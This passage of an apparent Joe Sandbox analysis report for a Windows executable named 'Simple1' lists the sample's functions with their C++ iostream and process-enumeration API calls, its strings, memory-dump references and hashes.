??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA94351
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA9435B

Strings

Time Zone: , xrefs: 00007FF7CEA9420A

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@InformationTimeV?$basic_streambuf@Zone_invalid_parameter_noinfo_noreturnmemset
String ID: Time Zone:
API String ID: 35776714-1239252231
Opcode ID: 75bbc8ce734ddddbefa210bc158d7e0c5e5b80efdefa61028389241404bfc98f
Instruction ID: fa497d35ff2feebcfc4840c9eb69434804143a24ee0d5473e28125c77864fdb4
Opcode Fuzzy Hash: 75bbc8ce734ddddbefa210bc158d7e0c5e5b80efdefa61028389241404bfc98f
Instruction Fuzzy Hash: EA51D672A18B8589EB20EF65E8806FDA7B1FB847A4F848132DA4D23759DF3CD481C710

Function 00007FF7CEA91820 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF7CEA91865
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF7CEA918CD
?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ.MSVCP140 ref: 00007FF7CEA91910
?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z.MSVCP140 ref: 00007FF7CEA91927
memset.VCRUNTIME140 ref: 00007FF7CEA919A9

Part of subcall function 00007FF7CEA9B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522

?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z.MSVCP140 ref: 00007FF7CEA919CD
??7ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA919DD
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF7CEA91A04
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA91A3E
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA91A8D
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA91A97
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA91AC7
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA91B2C

Strings

Couldn't open the file, xrefs: 00007FF7CEA918B0
Couldn't read the file, xrefs: 00007FF7CEA919E7

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$V01@$??1?$basic_istream@??6?$basic_ostream@V01@@memset$??1?$basic_ios@??7ios_base@std@@?read@?$basic_istream@?seekg@?$basic_istream@?tellg@?$basic_istream@Concurrency::cancel_current_taskMbstatet@@@2@V12@V12@_V?$fpos@_invalid_parameter_noinfo_noreturnmalloc
String ID: Couldn't open the file$Couldn't read the file
API String ID: 2898521299-2967168750
Opcode ID: 4b704e4893583e8fd057f23457a3a830564eddebf5c412215330ce736816677e
Instruction ID: 462145894bba5e19ce2f24e575e4635faf73fa0b1a90b74800c91610930e554c
Opcode Fuzzy Hash: 4b704e4893583e8fd057f23457a3a830564eddebf5c412215330ce736816677e
Instruction Fuzzy Hash: BA91AB32A08B8595EB10EF15E840ABDB3A1FB84BA4F858632DE5D17BA5DF3CE445C710

Function 00007FF7CEA91520 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9157F
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF7CEA9159E
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA915D2
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF7CEA91609
isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7CEA91648
?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF7CEA9166D
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF7CEA9169B
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA91782
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA9178C

Part of subcall function 00007FF7CEA99820: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA9986D
Part of subcall function 00007FF7CEA99820: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF7CEA9988D
Part of subcall function 00007FF7CEA99820: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA9989D
Part of subcall function 00007FF7CEA99820: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7CEA998FD
Part of subcall function 00007FF7CEA99820: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7CEA99926
Part of subcall function 00007FF7CEA99820: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7CEA9995D

Strings

_, xrefs: 00007FF7CEA91659
~, xrefs: 00007FF7CEA9165E

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$?sputc@?$basic_streambuf@$??6?$basic_ostream@?good@ios_base@std@@V01@$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@?flush@?$basic_ostream@_?setw@std@@D@std@@@1@_J@1@_Smanip@_U?$_U?$char_traits@_V12@V21@@V?$basic_streambuf@Vios_base@1@W@std@@@std@@isalnum
String ID: _$~
API String ID: 2365617078-3740536066
Opcode ID: 8f68b8c8258da5cd91e34a757c6f19a2daf3b84494c5e989e5e3b3f3a5cd17a5
Instruction ID: 497da175a7bb1cc7c5c8b35de7f5c3d4b6ffb06bcde11dc856194a6125a2eb95
Opcode Fuzzy Hash: 8f68b8c8258da5cd91e34a757c6f19a2daf3b84494c5e989e5e3b3f3a5cd17a5
Instruction Fuzzy Hash: 4971B332A18A8189EB10DF55E8806BEF7A0FB94BA8F848135DA4D63769DF7CD445C710

Function 00007FF7CEA989E0 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CEA91881), ref: 00007FF7CEA98A20
??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF7CEA98A3F
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA98A71
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF7CEA98A8C
?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z.MSVCP140 ref: 00007FF7CEA98AB6
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF7CEA98AD3
_get_stream_buffer_pointers.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7CEA98AFA
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z.MSVCP140 ref: 00007FF7CEA98B21
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ.MSVCP140 ref: 00007FF7CEA98B45

Part of subcall function 00007FF7CEA99FB0: ??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF7CEA99FDD
Part of subcall function 00007FF7CEA99FB0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF7CEA99FF7
Part of subcall function 00007FF7CEA99FB0: ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF7CEA9A029
Part of subcall function 00007FF7CEA99FB0: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF7CEA9A054
Part of subcall function 00007FF7CEA99FB0: std::_Facet_Register.LIBCPMT ref: 00007FF7CEA9A06D
Part of subcall function 00007FF7CEA99FB0: ??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF7CEA9A08C

?always_noconv@codecvt_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA98B5A
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF7CEA98B71
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF7CEA98BB0

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$Init@?$basic_streambuf@$Lockit@std@@$??0?$basic_ios@??0?$basic_istream@??0?$basic_streambuf@??0_??1_?always_noconv@codecvt_base@std@@?getloc@?$basic_streambuf@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@1@_Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@H001@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@_U_iobuf@@V42@@V?$basic_streambuf@Vfacet@locale@2@Vlocale@2@W@std@@@std@@_get_stream_buffer_pointersstd::_
String ID:
API String ID: 3818078705-0
Opcode ID: f35c13acc3d87238f3b7b1e58bee0d7e5fa0656072ccc1d0c3963a8712f1ca8d
Instruction ID: 077d6e84a580a0ca5869af8c6c50c6a73449e669d0f413f76bce96a2ac9fef5a
Opcode Fuzzy Hash: f35c13acc3d87238f3b7b1e58bee0d7e5fa0656072ccc1d0c3963a8712f1ca8d
Instruction Fuzzy Hash: 66514732608B859AEB049F25E950B7DB7A0FB89BA4F948035DB8D13B24DF3CE065C750

Function 00007FF7CEA94390 Relevance: 13.7, APIs: 9, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF7CEA943E7

Part of subcall function 00007FF7CEA96810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9684A
Part of subcall function 00007FF7CEA96810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF7CEA96866
Part of subcall function 00007FF7CEA96810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA96898

K32EnumProcesses.KERNEL32 ref: 00007FF7CEA94405
memset.VCRUNTIME140 ref: 00007FF7CEA944AC
OpenProcess.KERNEL32 ref: 00007FF7CEA944BB
K32EnumProcessModules.KERNEL32 ref: 00007FF7CEA944DC
K32GetModuleBaseNameA.KERNEL32 ref: 00007FF7CEA944FB
CloseHandle.KERNELBASE ref: 00007FF7CEA94524
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA945FC
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA94606

Part of subcall function 00007FF7CEA9A0C0: memcpy.VCRUNTIME140 ref: 00007FF7CEA9A0F8

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$EnumProcessmemset$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BaseCloseD@std@@@1@@HandleModuleModulesNameOpenProcessesV?$basic_streambuf@memcpy
String ID:
API String ID: 3444793848-0
Opcode ID: 176818b9055dcd18f90ea10054250413a06e4f11656990404fb4c7ffa63b3a2d
Instruction ID: 51c69cb8d1267a8570f36215b5e0ed7fd81c6726a6d5ea4a05e4be82b5639d97
Opcode Fuzzy Hash: 176818b9055dcd18f90ea10054250413a06e4f11656990404fb4c7ffa63b3a2d
Instruction Fuzzy Hash: 17719232A18B858AEB20DF65D8806BDB3A1FB85B94F808132DE8D67B59DF3CD545C710

Function 00007FF7CEA99C10 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA99C8A
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF7CEA99CAA
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA99CBA
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF7CEA99D07
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF7CEA99D31
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF7CEA99D56
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF7CEA99D9D
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF7CEA99DA4
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF7CEA99DB1

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: 9340df2d7b22759f6c791cb39ea6ec1440f113354fa38e5be513034bf6c266e4
Instruction ID: 0663fc8664dbf04118fc582fede38c0b69b6ac3da5445bb44893aa609eb456d9
Opcode Fuzzy Hash: 9340df2d7b22759f6c791cb39ea6ec1440f113354fa38e5be513034bf6c266e4
Instruction Fuzzy Hash: 40514032608A4199EF219F1AD9C0A3DEBA0FF84FA5B55D531CE4E537A1CF39D4428314

Function 00007FF7CEA999F0 Relevance: 13.6, APIs: 9, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A69
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A89
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A99
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99AE6
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B0F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B36
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B7C
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B83
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B90

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: 5814e694fa5f361751dc898f9d5e21bc3f4dd92118ae153b6ae81dfab933b90a
Instruction ID: 9f7e7aed5efa021b5c3aba3dc6f6ea47b7970ef99f6658096d941fa7434854b5
Opcode Fuzzy Hash: 5814e694fa5f361751dc898f9d5e21bc3f4dd92118ae153b6ae81dfab933b90a
Instruction Fuzzy Hash: CF516F32609A4196EB20AF1AE89063CE7A0FF84FA1B95D531CA5E57BA1CF3DD4428314

Function 00007FF7CEA9B080 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF7CEA91AD2), ref: 00007FF7CEA9B0EB
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF7CEA91AD2), ref: 00007FF7CEA9B10B
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF7CEA91AD2), ref: 00007FF7CEA9B11B
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF7CEA91AD2), ref: 00007FF7CEA9B168
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF7CEA91AD2), ref: 00007FF7CEA9B196
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF7CEA91AD2), ref: 00007FF7CEA9B1B7
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF7CEA91AD2), ref: 00007FF7CEA9B1FE
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF7CEA91AD2), ref: 00007FF7CEA9B205
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF7CEA91AD2), ref: 00007FF7CEA9B212

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: d4daf986c591b3d0968fda3093ef46c4df527e5844f88b62d69c232397f5e4b9
Instruction ID: 05f22a3fd70c5a985c2fc6422fdd309efcd28445d352338ff650461b42ddb0ad
Opcode Fuzzy Hash: d4daf986c591b3d0968fda3093ef46c4df527e5844f88b62d69c232397f5e4b9
Instruction Fuzzy Hash: 62511F32618A4189EB209F19E984A3DE7A0FF94FA5BA5C432CE4E57761CF3DD446C314

Function 00007FF7CEA99820 Relevance: 13.6, APIs: 9, Instructions: 132COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA9986D
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF7CEA9988D
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA9989D
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7CEA998FD
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7CEA99926
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7CEA9995D
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF7CEA999A1
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF7CEA999A8
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF7CEA999B5

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: ?sputc@?$basic_streambuf@D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 569342377-0
Opcode ID: 37b8ee53cb8b00479985113fba4434682f5c23c40aa0f0a0174690d29aea351c
Instruction ID: f966bb64c2c7c971699fae82dc5724dbcae9e4e379b6527a94603b52e08286a8
Opcode Fuzzy Hash: 37b8ee53cb8b00479985113fba4434682f5c23c40aa0f0a0174690d29aea351c
Instruction Fuzzy Hash: 6E519132609A819AEF109F19D9D063CA7A0FF84FA5B54C536CE5E577A0CF39C456C310

Function 00007FF7CEA9B96C Relevance: 12.1, APIs: 8, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7CEA9B995
__scrt_release_startup_lock.LIBCMT ref: 00007FF7CEA9BA03
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9BA51
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9BA56
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9BA5E
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9BA66
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9BA88
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9BAE2

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
